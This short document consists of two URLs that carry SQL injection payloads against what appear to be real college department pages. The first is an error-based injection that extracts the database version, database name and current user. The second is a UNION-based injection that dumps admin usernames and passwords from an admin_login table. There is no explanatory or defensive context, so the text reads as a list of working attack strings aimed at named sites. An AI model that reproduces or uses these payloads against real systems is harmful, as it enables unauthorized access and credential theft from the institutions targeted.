http://
www.dmch.edu/HOD.php?id=45'+or+1+group+by+concat((select+versio n()),0x3a,database(),0x3a,user(),floor(rand(0)*2)) +having+min(0) +--+

http://
www.geca.ac.in/departments/hod.php?id=-14+union+select+1,2,3,4,concat_ws(0x3a,user_name,p ass_word),version(),7,8,9 from admin_login--